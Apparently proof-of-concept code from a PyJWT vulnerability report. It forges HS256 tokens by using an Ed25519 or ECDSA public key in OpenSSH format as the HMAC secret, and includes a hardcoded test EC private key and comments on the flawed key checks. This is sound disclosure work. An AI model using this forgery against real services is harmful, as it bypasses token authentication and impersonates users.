import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior

import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")